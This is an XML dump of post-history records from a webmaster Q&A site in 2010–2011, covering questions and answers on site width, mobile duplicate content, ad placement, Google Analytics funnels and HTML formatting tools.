  <row Id="16942" PostHistoryTypeId="3" PostId="7929" RevisionGUID="389bbf31-38cf-46ee-a0f2-6017df06fc3b" CreationDate="2010-12-24T23:05:07.420" UserDisplayName="WilliamLou" Text="&lt;open-source&gt;&lt;online&gt;&lt;ticket-system&gt;" />
  <row Id="16943" PostHistoryTypeId="17" PostId="7929" RevisionGUID="07856dfb-d814-4062-94a3-168d7ce29d33" CreationDate="2011-01-19T14:53:37.950" UserId="-1" Comment="from http://stackoverflow.com/questions/4528636/any-open-souce-system-for-online-ticket-sale" Text="" />
  <row Id="16944" PostHistoryTypeId="2" PostId="7930" RevisionGUID="d7e8b4ae-cf81-4840-b243-e33cab1a7402" CreationDate="2011-01-19T15:07:58.153" UserId="4451" Text="[CiviCRM][1] with [CiviEvent][2]&#xD;&#xA;&#xD;&#xA;http://freeseat.sourceforge.net/&#xD;&#xA;&#xD;&#xA;Drupal with a combination of modules like [Signup][3], [Event][4],&#xD;&#xA;[Ubercart][5], and [UberCart Signup][6]&#xD;&#xA;&#xD;&#xA;Try searching Google for **open source ticket sales software**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://civicrm.org/&#xD;&#xA;  [2]: http://civicrm.org/civievent&#xD;&#xA;  [3]: http://drupal.org/project/signup&#xD;&#xA;  [4]: http://drupal.org/project/event&#xD;&#xA;  [5]: http://drupal.org/project/uberdrupal&#xD;&#xA;  [6]: http://drupal.org/project/uc_signup" />
  <row Id="16945" PostHistoryTypeId="2" PostId="7931" RevisionGUID="5610eb4a-b33a-4b5b-bd13-28cd800f1010" CreationDate="2011-01-19T15:12:25.693" UserId="4719" Text="I found a solution.&#xD;&#xA;&#xD;&#xA;Since Nov 4 2010 Yottaa bots identify themselves by &quot;YottaaMonitor&quot; in the User-Agent string (at least it's the name that appears in Google Analytics).&#xD;&#xA;&#xD;&#xA;I created an &quot;Advanced Segment&quot; (i.e. a filter) with a single rule : Browser does not match YottaaMonitor. This segment now contains only the normal &quot;human&quot; traffic I wanted.&#xD;&#xA;&#xD;&#xA;Problem solved :-)" />
  <row Id="16946" PostHistoryTypeId="17" PostId="7933" RevisionGUID="05f7b57b-e3bb-4956-a175-4cee06e9f786" CreationDate="2011-01-19T15:21:12.550" UserId="-1" Comment="from http://stackoverflow.com/questions/4736632/what-is-the-standard-with-for-a-website-in-pixels/4736868#4736868" Text="" />
  <row Id="16947" PostHistoryTypeId="17" PostId="7934" RevisionGUID="86621498-3282-45af-abf5-8787e0976bb7" CreationDate="2011-01-19T15:21:12.550" UserId="-1" Comment="from http://stackoverflow.com/questions/4736632/what-is-the-standard-with-for-a-website-in-pixels/4736870#4736870" Text="" />
  <row Id="16948" PostHistoryTypeId="2" PostId="7933" RevisionGUID="3d279243-17ef-4403-8caf-566e40c76159" CreationDate="2011-01-19T15:09:03.690" UserDisplayName="Beliskner" Text="There isn't really such a thing as standard, and the statistics are entirely dependent on target demographics. Aiming at technical people will generally result in better hardware and higher resolutions, less technical the reverse. But then there are phones, netbooks etc which have significantly lower resolutions than the norm in most cases.&#xD;&#xA;&#xD;&#xA;For reference I usually assume a minimum of 1024x768 now.&#xD;&#xA;&#xD;&#xA;In any case here are some:&#xD;&#xA;&lt;http://www.w3schools.com/browsers/browsers_display.asp&gt;&#xD;&#xA;&lt;http://www.w3counter.com/globalstats.php&gt;" />
  <row Id="16949" PostHistoryTypeId="2" PostId="7934" RevisionGUID="ffe2de42-c347-4d45-89b3-7d0856d6cfa0" CreationDate="2011-01-19T15:09:05.310" UserDisplayName="PeterMmm" Text="The standard would be &quot;as width/height as possible&quot;. It depends on the users screen :&#xD;&#xA;&#xD;&#xA;http://www.w3schools.com/browsers/browsers_display.asp&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16950" PostHistoryTypeId="2" PostId="7932" RevisionGUID="6580fd17-698c-496d-89f7-24fa6c7d2d15" CreationDate="2011-01-19T14:51:04.317" UserDisplayName="JPJedi" Text="What is the standard width for a website in pixels or where are statistics?" />
  <row Id="16951" PostHistoryTypeId="1" PostId="7932" RevisionGUID="6580fd17-698c-496d-89f7-24fa6c7d2d15" CreationDate="2011-01-19T14:51:04.317" UserDisplayName="JPJedi" Text="What is the standard with for a website in pixels?" />
  <row Id="16952" PostHistoryTypeId="3" PostId="7932" RevisionGUID="6580fd17-698c-496d-89f7-24fa6c7d2d15" CreationDate="2011-01-19T14:51:04.317" UserDisplayName="JPJedi" Text="&lt;websites&gt;" />
  <row Id="16953" PostHistoryTypeId="17" PostId="7932" RevisionGUID="eaa9cd9f-8131-4c99-b313-ccb056cef23f" CreationDate="2011-01-19T15:21:12.550" UserId="-1" Comment="from http://stackoverflow.com/questions/4736632/what-is-the-standard-with-for-a-website-in-pixels" Text="" />
  <row Id="16954" PostHistoryTypeId="2" PostId="7935" RevisionGUID="f9ffc30f-1dc1-4edf-b976-ffb53f868de3" CreationDate="2011-01-19T16:29:35.957" UserDisplayName="James" Text="My website exists at www.&lt;site&gt;.com for desktop browsers and m.&lt;site&gt;.com for mobile browsers. We are now seeing that for some Google searches, our mobile site outranks our main website; it doesn't seem to matter if the search is done from a desktop PC or a mobile phone.&#xD;&#xA;&#xD;&#xA;Aside from that not being the desired behavior, we're concerned that Google is seeing our mobile site as duplicate content of our main site.&#xD;&#xA;&#xD;&#xA;At this point we're considering an outright block of Google's crawler on the mobile site (via robots.txt). Is that the best approach? Is there a way to make our mobile site show up for mobile search, our main site to show up on desktop search, and avoid the present confusion?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;-James" />
  <row Id="16955" PostHistoryTypeId="1" PostId="7935" RevisionGUID="f9ffc30f-1dc1-4edf-b976-ffb53f868de3" CreationDate="2011-01-19T16:29:35.957" UserDisplayName="James" Text="Mobile website causing duplicate content issue on Google - how do we fix it?" />
  <row Id="16956" PostHistoryTypeId="3" PostId="7935" RevisionGUID="f9ffc30f-1dc1-4edf-b976-ffb53f868de3" CreationDate="2011-01-19T16:29:35.957" UserDisplayName="James" Text="&lt;mobile&gt;&lt;duplicate-content&gt;" />
  <row Id="16957" PostHistoryTypeId="2" PostId="7936" RevisionGUID="ca363a67-123e-45bd-b5fb-0566655baf3f" CreationDate="2011-01-19T16:37:48.173" UserId="4311" Text="Google lets you specify that one version of a page is the canonical one, and is the one that should be considered by their algorithm. That should avoid duplicate content problems, but it won't make the mobile site show up for mobile search -- you're probably best to set up redirects based on the user agent (but let people opt out and see the main site on their phone if they want).&#xD;&#xA;&#xD;&#xA;Instructions here: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="16958" PostHistoryTypeId="5" PostId="7935" RevisionGUID="5875c221-5f96-44d7-a1de-cb85e28116b8" CreationDate="2011-01-19T16:45:04.620" UserDisplayName="James" Comment="Formatting" Text="My website exists at `www.&lt;site&gt;.com` for desktop browsers and `m.&lt;site&gt;.com` for mobile browsers. We are now seeing that for some Google searches, our mobile site outranks our main website; it doesn't seem to matter if the search is done from a desktop PC or a mobile phone.&#xD;&#xA;&#xD;&#xA;Aside from that not being the desired behavior, we're concerned that Google is seeing our mobile site as duplicate content of our main site.&#xD;&#xA;&#xD;&#xA;At this point we're considering an outright block of Google's crawler on the mobile site (via robots.txt). Is that the best approach? Is there a way to make our mobile site show up for mobile search, our main site to show up on desktop search, and avoid the present confusion?&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;-James" />
  <row Id="16959" PostHistoryTypeId="25" PostId="7932" RevisionGUID="bd894ec1-2983-4b52-8cbd-96e191b40c39" CreationDate="2011-01-19T16:55:42.733" Comment="http://twitter.com/#!/StackWebmasters/status/27771191523549184" />
  <row Id="16963" PostHistoryTypeId="2" PostId="7938" RevisionGUID="c95f4400-2577-44ea-88cb-3baf142c1462" CreationDate="2011-01-19T17:13:45.713" UserId="4465" Text="Do you know any quality image archives for **&lt;\hr&gt;** and **border**&#xD;&#xA;&#xD;&#xA;For example an image archives for &lt;\hr&gt; : [http://siahdesign.com/archives/210][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://siahdesign.com/archives/210" />
  <row Id="16964" PostHistoryTypeId="1" PostId="7938" RevisionGUID="c95f4400-2577-44ea-88cb-3baf142c1462" CreationDate="2011-01-19T17:13:45.713" UserId="4465" Text="Image Archives for &lt;hr&gt; and border image replacement" />
  <row Id="16965" PostHistoryTypeId="3" PostId="7938" RevisionGUID="c95f4400-2577-44ea-88cb-3baf142c1462" CreationDate="2011-01-19T17:13:45.713" UserId="4465" Text="&lt;html&gt;&lt;images&gt;&lt;image&gt;" />
  <row Id="16966" PostHistoryTypeId="4" PostId="7932" RevisionGUID="85947dff-ae05-477f-a561-063b38aa9f4d" CreationDate="2011-01-19T17:15:47.423" UserId="1064" Comment="Updated title - spelling" Text="What is the standard width for a website in pixels?" />
  <row Id="16967" PostHistoryTypeId="17" PostId="7940" RevisionGUID="5ff20b5b-ca45-4a03-95dd-72d7c20d6881" CreationDate="2011-01-19T17:19:17.063" UserId="-1" Comment="from http://stackoverflow.com/questions/4737877/new-website-how-do-we-place-ads-on-our-website/4737918#4737918" Text="" />
  <row Id="16968" PostHistoryTypeId="17" PostId="7941" RevisionGUID="78a790bf-80b9-4e5b-8d4a-a6c270d9e3e2" CreationDate="2011-01-19T17:19:17.063" UserId="-1" Comment="from http://stackoverflow.com/questions/4737877/new-website-how-do-we-place-ads-on-our-website/4737936#4737936" Text="" />
  <row Id="16969" PostHistoryTypeId="2" PostId="7940" RevisionGUID="8f205ea6-2314-4e7d-80aa-c539fa01dfee" CreationDate="2011-01-19T16:32:44.167" UserDisplayName="Daniel Casserly" Text="for a beginner the best way is to use a commercial affiliate marketing idea like trade doubler or click bank. They will tell you all you need to know and stop you from getting caught by some of the traps of advertising. Or get a pro in. " />
  <row Id="16970" PostHistoryTypeId="2" PostId="7941" RevisionGUID="8d448980-7079-4301-8ea9-39a7e0e377bc" CreationDate="2011-01-19T16:34:03.847" UserDisplayName="Felice Pollano" Text="Google Ads give some suggestioin on where to put advertisments." />
  <row Id="16971" PostHistoryTypeId="2" PostId="7939" RevisionGUID="e33e2642-6f98-49ca-a32e-105cc1775886" CreationDate="2011-01-19T16:28:45.820" UserDisplayName="Donna Jo" Text="We are starting a website.  This is a 3-partner effort and none of us have ever done this before.  I am taking a web-design course that includes an e-commerce section.  We want to include advertisers on our website as a source of income since our website is free to the user.  How do we do that?  How much do we charge?  Will that likely be covered in the e-commerce section of my course?  " />
  <row Id="16972" PostHistoryTypeId="1" PostId="7939" RevisionGUID="e33e2642-6f98-49ca-a32e-105cc1775886" CreationDate="2011-01-19T16:28:45.820" UserDisplayName="Donna Jo" Text="New Website -- How do we place ads on our website?" />
  <row Id="16973" PostHistoryTypeId="3" PostId="7939" RevisionGUID="e33e2642-6f98-49ca-a32e-105cc1775886" CreationDate="2011-01-19T16:28:45.820" UserDisplayName="Donna Jo" Text="&lt;websites&gt;&lt;ads&gt;" />
  <row Id="16974" PostHistoryTypeId="17" PostId="7939" RevisionGUID="6bf01bdc-95bf-40b0-9928-df88d22cf6b3" CreationDate="2011-01-19T17:19:17.063" UserId="-1" Comment="from http://stackoverflow.com/questions/4737877/new-website-how-do-we-place-ads-on-our-website" Text="" />
  <row Id="16978" PostHistoryTypeId="17" PostId="7943" RevisionGUID="076c3797-5cfe-4728-8b1c-e10ad8895bb2" CreationDate="2011-01-19T17:28:11.493" UserId="-1" Comment="from http://stackoverflow.com/questions/4734965/set-goal-in-funnel-not-to-be-neccessary/4736762#4736762" Text="" />
  <row Id="16979" PostHistoryTypeId="2" PostId="7943" RevisionGUID="c5b8393e-95bf-4907-b864-05b44b69c735" CreationDate="2011-01-19T15:00:43.690" UserDisplayName="Crayon Violent" Text="I think GA only gives you the option to make Step 1 optional, so you will have to make a separate funnel. " />
  <row Id="16980" PostHistoryTypeId="2" PostId="7942" RevisionGUID="444d0946-8788-4c1f-a6fc-3bf53e673906" CreationDate="2011-01-19T12:00:46.893" UserDisplayName="edwardmlyte" Text="I have a start page which can link to a discounts page and then three possible extras pages (one of which will definitely be reached) and all three of these lead to a confirmation page. I have set up goals on each page and on the confirmation page I have the following funnel:&#xD;&#xA;&#xD;&#xA;    Step 1: /G1/StartPage&#xD;&#xA;    Step 2: /G1/(Extra1|Extra2|Extra3)Page&#xD;&#xA;&#xD;&#xA;However I want to include the discounts page, but not all customers can see that page. e.g.&#xD;&#xA;&#xD;&#xA;    Step 1: /G1/StartPage&#xD;&#xA;    Step 2: /G1/DiscountsPage (may not be read)&#xD;&#xA;    Step 3: /G1/(Extra1|Extra2|Extra3)Page&#xD;&#xA;&#xD;&#xA;Can I do this in the same funnel, or do I keep my current funnel above, and a create a separate funnel (of which the goal is the confirmation page again) and only include the discounts page?" />
  <row Id="16981" PostHistoryTypeId="1" PostId="7942" RevisionGUID="444d0946-8788-4c1f-a6fc-3bf53e673906" CreationDate="2011-01-19T12:00:46.893" UserDisplayName="edwardmlyte" Text="Set goal in funnel not to be neccessary" />
  <row Id="16982" PostHistoryTypeId="3" PostId="7942" RevisionGUID="444d0946-8788-4c1f-a6fc-3bf53e673906" CreationDate="2011-01-19T12:00:46.893" UserDisplayName="edwardmlyte" Text="&lt;google-analytics&gt;&lt;goals&gt;&lt;goal-tracking&gt;" />
  <row Id="16983" PostHistoryTypeId="17" PostId="7942" RevisionGUID="d6bc516d-9349-4e02-9faa-6e008f96f628" CreationDate="2011-01-19T17:28:11.493" UserId="-1" Comment="from http://stackoverflow.com/questions/4734965/set-goal-in-funnel-not-to-be-neccessary" Text="" />
  <row Id="16984" PostHistoryTypeId="2" PostId="7944" RevisionGUID="40b78114-2243-4ba8-97f5-d1f56c675b75" CreationDate="2011-01-19T17:34:37.910" UserId="4465" Text="First of all, If your website is new , i don't recommend ads on website. &#xD;&#xA;&#xD;&#xA;First, write original and quality contents and increase your backlinks. Because, nobody get ads for your website. Advertisers think, you create this web site for earn money and you are a *nummamorous* . Also, advertisers doesn't earn anywith with putting his ads to your site.&#xD;&#xA;&#xD;&#xA;If you improved your site and ready to getting ads , don't get a lot of ads . Because, (i think) users don't like ads.&#xD;&#xA;&#xD;&#xA;I don't like affiliate marketing , i think it's not earning very well." />
  <row Id="16985" PostHistoryTypeId="2" PostId="7945" RevisionGUID="b3b29ea8-e8c9-40de-9904-d93f072de177" CreationDate="2011-01-19T17:38:42.663" UserId="2293" Text="There is no standard, despite most developers assume 1024x768 as standard.&#xD;&#xA;&#xD;&#xA;There is a CSS grid system named 960grid which assumes the body width as 960px, then breaks columns in 96 columns with 10px, or 80 with 12px.&#xD;&#xA;&#xD;&#xA;The problem is: PC screens are getting bigger and bigger always, slowly in some regions but are.&#xD;&#xA;&#xD;&#xA;In the other hand, at tech-tops, you have smaller screens in mobile devices and netbooks.&#xD;&#xA;&#xD;&#xA;Dealing with this reallity can be painful. There is CSS Media Queries to the rescue. Alternatively, you can use tag link (with rel handheld) to provide an alternative version to mobile devices.&#xD;&#xA;&#xD;&#xA;Follow some reference links for you&#xD;&#xA;&#xD;&#xA; - http://www.smashingmagazine.com/2010/07/19/how-to-use-css3-media-queries-to-create-a-mobile-version-of-your-website/&#xD;&#xA; - http://www.alistapart.com/articles/responsive-web-design/&#xD;&#xA; - http://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#rel-alternate&#xD;&#xA; - http://dev.w3.org/csswg/css3-mediaqueries/&#xD;&#xA;" />
  <row Id="16986" PostHistoryTypeId="2" PostId="7946" RevisionGUID="aa0875c7-0421-4587-87cd-ce0377ecb5b4" CreationDate="2011-01-19T17:40:07.290" UserId="4465" Text="I think , it depends to content of website . &#xD;&#xA;&#xD;&#xA;For example if you don't need any sidebar, etc, and if you like minimal designs , you can set webpages width to 500px.&#xD;&#xA;&#xD;&#xA;So, i don't believe (and don't like) standart about web layout's sizes." />
  <row Id="16987" PostHistoryTypeId="5" PostId="7944" RevisionGUID="644a14df-90e9-4044-a077-408d6e835dcf" CreationDate="2011-01-19T17:42:29.300" UserId="4465" Comment="added 33 characters in body" Text="First of all, If your website is new , i don't recommend ads on website. &#xD;&#xA;&#xD;&#xA;First, write original and quality contents and increase your backlinks. Because, nobody get ads for your website. Advertisers think, you create this web site for earn money and you are a *nummamorous* . Also, advertisers doesn't earn anywith with putting his ads to your site.&#xD;&#xA;&#xD;&#xA;If you improved your site and ready to getting ads , don't get a lot of ads . Because, (i think) users don't like ads.&#xD;&#xA;&#xD;&#xA;I don't like affiliate marketing , i think it's not earning very well. Ofcourse this is **my opinion.**" />
  <row Id="16988" PostHistoryTypeId="2" PostId="7947" RevisionGUID="f7fd151b-a6c2-4596-8750-a4d3cbe35d03" CreationDate="2011-01-19T18:13:57.597" UserDisplayName="Free Softwares" Text="correct your meta tag in html&#xD;&#xA;or other html error check your description&#xD;&#xA;check it is not doubled&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16989" PostHistoryTypeId="2" PostId="7948" RevisionGUID="2077d1f5-7eeb-428f-8f83-d9d03fa9c8a8" CreationDate="2011-01-19T18:45:54.343" UserId="4311" Text="960 pixels is the most that's safe, as it works on a 1024x768 screen and leaves room for the scrollbar, and also works on an iPhone in landscape mode (because it pixel doubles its 480x320 screen to an effective 960x640, and doesn't have a scrollbar)." />
  <row Id="16990" PostHistoryTypeId="2" PostId="7949" RevisionGUID="b29e0977-add6-4102-97f6-507d4221fd9c" CreationDate="2011-01-19T19:27:36.647" UserId="4709" Text="Reddit has a &quot;suicide watch&quot; forum at http://www.reddit.com/r/SuicideWatch/ where users can go for help. You could point the user there, in addition to calling the police in his area.&#xD;&#xA;&#xD;&#xA;Here is a list of international suicide hotline numbers:&#xD;&#xA;&#xD;&#xA;http://www.reddit.com/r/SWResources/comments/c305t/hotline_numbers/" />
  <row Id="16991" PostHistoryTypeId="25" PostId="7935" RevisionGUID="53605b8d-1ef3-438d-9a4f-65d7e0fb423c" CreationDate="2011-01-19T19:55:42.857" Comment="http://twitter.com/#!/StackWebmasters/status/27816489843167232" />
  <row Id="16992" PostHistoryTypeId="2" PostId="7950" RevisionGUID="71e1e101-27ae-4751-ab57-ca6edc524881" CreationDate="2011-01-19T20:02:52.130" UserDisplayName="James" Text="Unfortunately, you are probably wrong. Pop-ups are everywhere because they work. One of the sites I manage uses a pop-up and not only does it directly generate a good amount of business, our returning visitor numbers have improved since it was implemented (probably because of other factors, but still).&#xD;&#xA;&#xD;&#xA;Instead of having a theoretical debate, why not indulge them with a test? Setup the site with a pop-up and see how your numbers change. Better yet, do an AB split and expose half your visitors to the pop-up and leave the other half alone and then compare the two segments and see which of the two groups converted better." />
  <row Id="16993" PostHistoryTypeId="2" PostId="7951" RevisionGUID="c7321bdc-12c6-4308-a02d-b7b6f264ef61" CreationDate="2011-01-19T20:18:17.393" UserId="4451" Text="Specifically for Firefox and Ad Block Plus: https://addons.mozilla.org/en-US/statistics/addon/1865.  It has 107,409,448 downloads, and 12,885,006 active users.&#xD;&#xA;&#xD;&#xA;Downloads&#xD;&#xA;&#xD;&#xA;Download counts are updated every day and only include original add-on downloads, not updates.&#xD;&#xA;&#xD;&#xA;Update Pings&#xD;&#xA;&#xD;&#xA;Add-ons downloaded from this site check for updates once per day, and the total number of these update pings is known as Active Daily Users. Active Daily Users (ADU) can be broken down by add-on version, operating system, add-on status, and application.&#xD;&#xA;&#xD;&#xA;All Addons have Downloads Count/Statistics.  Go to the addon's main page, and it will be in the first main section of info.&#xD;&#xA;&#xD;&#xA;But also, Firefox has blockers in its core options, and am not sure the data on that.  Try doing a google search for it.&#xD;&#xA;&#xD;&#xA;I am sure Chrome, IE, Opera, Safari might have similar statistics.  Just do some digging." />
  <row Id="16994" PostHistoryTypeId="2" PostId="7952" RevisionGUID="46c2fb3d-321e-4a10-b67d-4d56534256b7" CreationDate="2011-01-19T20:24:32.967" UserId="4710" Text="I have made the mistake of not indenting the HTML tags on a page that slowly grew to over 500 lines of dense HTML. I have looked for a tool to fix the indentation, but what I have found so far seem to insist on doing additional formatting, and I really don't need those 500 lines to become 1000 because big bunches of small tags get one line per tag.&#xD;&#xA;&#xD;&#xA;Any suggestions for a tool to do the job?" />
  <row Id="16995" PostHistoryTypeId="1" PostId="7952" RevisionGUID="46c2fb3d-321e-4a10-b67d-4d56534256b7" CreationDate="2011-01-19T20:24:32.967" UserId="4710" Text="Simple HTML auto indentation tool" />
  <row Id="16996" PostHistoryTypeId="3" PostId="7952" RevisionGUID="46c2fb3d-321e-4a10-b67d-4d56534256b7" CreationDate="2011-01-19T20:24:32.967" UserId="4710" Text="&lt;html&gt;&lt;tools&gt;" />
  <row Id="16997" PostHistoryTypeId="5" PostId="7951" RevisionGUID="c00abd55-fc0c-426f-9608-a0bf603256ef" CreationDate="2011-01-19T20:25:18.163" UserId="4451" Comment="added 137 characters in body; added 1 characters in body" Text="Specifically for Firefox and Ad Block Plus: https://addons.mozilla.org/en-US/statistics/addon/1865.  It has 107,409,448 downloads, and 12,885,006 active users.&#xD;&#xA;&#xD;&#xA;Downloads&#xD;&#xA;&#xD;&#xA;Download counts are updated every day and only include original add-on downloads, not updates.&#xD;&#xA;&#xD;&#xA;Update Pings&#xD;&#xA;&#xD;&#xA;Add-ons downloaded from this site check for updates once per day, and the total number of these update pings is known as Active Daily Users. Active Daily Users (ADU) can be broken down by add-on version, operating system, add-on status, and application.&#xD;&#xA;&#xD;&#xA;All Addons have Downloads Count/Statistics.  Go to the addon's main page, and it will be in the first main section of info.&#xD;&#xA;&#xD;&#xA;But also, Firefox has blockers in its core options, and am not sure the data on that.  Try doing a google search for it.&#xD;&#xA;&#xD;&#xA;I am sure Chrome, IE, Opera, Safari might have similar statistics.  Just do some digging.&#xD;&#xA;&#xD;&#xA;Try this article.....at the bottom are some total stats: http://www.digitalopinionator.com/other-news/ad-blocking-software-statistics/" />
  <row Id="16998" PostHistoryTypeId="2" PostId="7953" RevisionGUID="2c81aa47-8ef0-4b87-9f16-637cb5b3b7f2" CreationDate="2011-01-19T21:33:50.650" UserDisplayName="Fabian" Text="You didn't tell us which tools you tried so far, but the first that comes to my mind is HTML Tidy: http://tidy.sourceforge.net/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16999" PostHistoryTypeId="2" PostId="7954" RevisionGUID="68815d08-f435-44e1-9539-e67384a28145" CreationDate="2011-01-19T21:50:40.077" UserId="4451" Text="My choice would be Drupal based.  It can do all that you listed.  Drupal has great permissions, and tracking (in many different ways).  If you have more specific questions about Drupal, and maybe what modules or coding would be needed, just ask." />
  <row Id="17000" PostHistoryTypeId="25" PostId="7952" RevisionGUID="ff1cc4eb-2554-4258-b759-54c7f5a8e113" CreationDate="2011-01-19T22:55:43.137" Comment="http://twitter.com/#!/StackWebmasters/status/27861789878259712" />
  <row Id="17001" PostHistoryTypeId="2" PostId="7955" RevisionGUID="56f84987-30fe-4877-a287-e566f5116291" CreationDate="2011-01-19T23:14:39.090" UserId="4629" Text="The [JetBrains][1] IDEs allow you to reformat your code based on a set of rules, so you can get as detailed or as simple as you want. If this is a one-time thing, you could always use the trial copy of whichever one is most appropriate for you to reformat your code. &#xD;&#xA;&#xD;&#xA;[WebStorm][2] is probably your best bet, although if you're developing your web applications with [PHP][3], [Ruby on Rails][4], or a few other languages, they have you covered there, too.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.jetbrains.com/ &quot;JetBrains&quot;&#xD;&#xA;  [2]: http://www.jetbrains.com/webstorm/ &quot;WebStorm - JetBrains&quot;&#xD;&#xA;  [3]: http://www.jetbrains.com/phpstorm/ &quot;PHP Storm - JetBrains&quot;&#xD;&#xA;  [4]: http://www.jetbrains.com/ruby/ &quot;RubyMine - JetBrains&quot;" />
  <row Id="17002" PostHistoryTypeId="2" PostId="7956" RevisionGUID="b5e9c371-638b-4621-93a7-34d6537332c6" CreationDate="2011-01-19T23:42:57.930" UserId="4725" Text="You should have a look at [Medical](http://medical.sourceforge.net/) a Health and Hospital Information System. Is it open source, and I suspect it could be very close to what you are looking for. If not, maybe you could use OpenERP, a very interesting open source ERP. As Medical, it is based on the python framework OpenObject. It is very flexible, and it is so easy to develop new modules.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17003" PostHistoryTypeId="2" PostId="7957" RevisionGUID="546a8023-f380-488a-bb6b-b9b4a375646d" CreationDate="2011-01-20T00:51:21.210" UserId="1757" Text="Your question piqued my curiosity so I did some digging around. It seemed to me that the FDA ought to have a database with this type of info, and with the whole e-government &amp; open government movement that's starting to catch on in the U.S. finally, it ought to be available on the web and searchable by the public.&#xD;&#xA;&#xD;&#xA;Well, it turns out that something like this does exist:&#xD;&#xA;http://www.nal.usda.gov/fnic/foodcomp/search/&#xD;&#xA;&#xD;&#xA;Just type in the name of any major restaurant chain, and it'll give you a list of all the menu items they have stored in their database. But a word of warning: the search seems to have a problem with certain punctuation marks. For example, `WENDY'S` is stored in their database. However, if you search for `WENDY'S` it won't return any results. Same with if you search for `WENDYS`. Instead, you need to search for `WENDY`. Capitalization doesn't seem to matter though.&#xD;&#xA;&#xD;&#xA;I found the link to this search on the [Nutrition.gov website][1]. So maybe there's a downloadable spreadsheet, web service, or other useful resources there for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.nutrition.gov/nal_display/index.php?info_center=11&amp;tax_level=1" />
  <row Id="17004" PostHistoryTypeId="2" PostId="7958" RevisionGUID="f14b153c-ba2d-460c-a44d-3536753edffe" CreationDate="2011-01-20T01:07:34.117" UserId="2650" Text="&#xD;&#xA;Is this possible?&#xD;&#xA;&#xD;&#xA; 1. A third party site is running my Drupal module&#xD;&#xA; 2. An end user clicks on a link which will:&#xD;&#xA; 3. Open up a new window www.mysite.com/redirect.php&#xD;&#xA; 4. and POST certain data to this page www.mysite.com/redirect.php&#xD;&#xA;&#xD;&#xA;I've seen the user's browser being redirected, but am not clear on how to do the above.&#xD;&#xA;" />
  <row Id="17005" PostHistoryTypeId="1" PostId="7958" RevisionGUID="f14b153c-ba2d-460c-a44d-3536753edffe" CreationDate="2011-01-20T01:07:34.117" UserId="2650" Text="Can I POST to a new window that I want to open up?" />
  <row Id="17006" PostHistoryTypeId="3" PostId="7958" RevisionGUID="f14b153c-ba2d-460c-a44d-3536753edffe" CreationDate="2011-01-20T01:07:34.117" UserId="2650" Text="&lt;html&gt;&lt;redirects&gt;&lt;post&gt;" />
  <row Id="17007" PostHistoryTypeId="5" PostId="7909" RevisionGUID="f3d61323-f415-4e62-b9b7-63c380017abe" CreationDate="2011-01-20T01:20:01.367" UserId="1757" Comment="Linked page has almost no content, only links" Text="Not all URL shortener services are reliable. Check [this comparison of popular URL shortener services][1] for their pros &amp; cons. ([Here][2]'s a shorter comparison by notlong.)&#xD;&#xA;&#xD;&#xA;Google also has their own [Goo.gl][3] shortener service with an [API][4]. [Pingdom][5] found Goo.gl to be the fastest.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://searchengineland.com/analysis-which-url-shortening-service-should-you-use-17204&#xD;&#xA;  [2]: http://notlong.com/links/&#xD;&#xA;  [3]: http://goo.gl&#xD;&#xA;  [4]: http://googlecode.blogspot.com/2011/01/google-url-shortener-gets-api.html&#xD;&#xA;  [5]: http://royal.pingdom.com/2010/10/29/is-goo-gl-really-the-fastest-url-shortener-chart/" />
  <row Id="17008" PostHistoryTypeId="25" PostId="7958" RevisionGUID="985da4f1-ab8b-400c-8c8a-00ca62f81227" CreationDate="2011-01-20T01:55:43.030" Comment="http://twitter.com/#!/StackWebmasters/status/27907087975583744" />
  <row Id="17009" PostHistoryTypeId="2" PostId="7959" RevisionGUID="c635bc9b-a919-46f5-b254-620cb2cb2deb" CreationDate="2011-01-20T02:11:48.867" UserDisplayName="gonzo" Text="Try [apex-3][1] hosting&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.apex-3.com&#xD;&#xA;&#xD;&#xA;Great service" />
  <row Id="17010" PostHistoryTypeId="2" PostId="7960" RevisionGUID="0387de8a-1ef5-4777-b208-25b1c158b71a" CreationDate="2011-01-20T02:24:52.407" UserId="4730" Text="I'm wondering if there is any analytics tool more sophisticated than google analytics which offers features such as user clicking and navigating behaviors. By which I mean, with such tools, I can see how users actually clicked and navigated across my site.&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="17011" PostHistoryTypeId="1" PostId="7960" RevisionGUID="0387de8a-1ef5-4777-b208-25b1c158b71a" CreationDate="2011-01-20T02:24:52.407" UserId="4730" Text="Best way to capture website user clicking/navigating behavior " />
  <row Id="17012" PostHistoryTypeId="3" PostId="7960" RevisionGUID="0387de8a-1ef5-4777-b208-25b1c158b71a" CreationDate="2011-01-20T02:24:52.407" UserId="4730" Text="&lt;websites&gt;&lt;analytics&gt;" />
  <row Id="17013" PostHistoryTypeId="2" PostId="7961" RevisionGUID="7663076a-f661-4f7d-a1f7-c9397796ab4f" CreationDate="2011-01-20T03:24:48.073" UserId="4731" Text="I'm not sure if you have a programmer, but assuming you do this advice should work.&#xD;&#xA;&#xD;&#xA;For a low traffic site, just log everything to your database. &#xD;&#xA;&#xD;&#xA;As you grow, logging directly to a database won't scale nicely. I've had good luck using a message queue (eg. RabbitMQ) to log clicks and a cron job to process them in a batch. Inserting a batch of several log messages into your database as 1 transaction is much more efficient than making every page load insert a row into your db." />
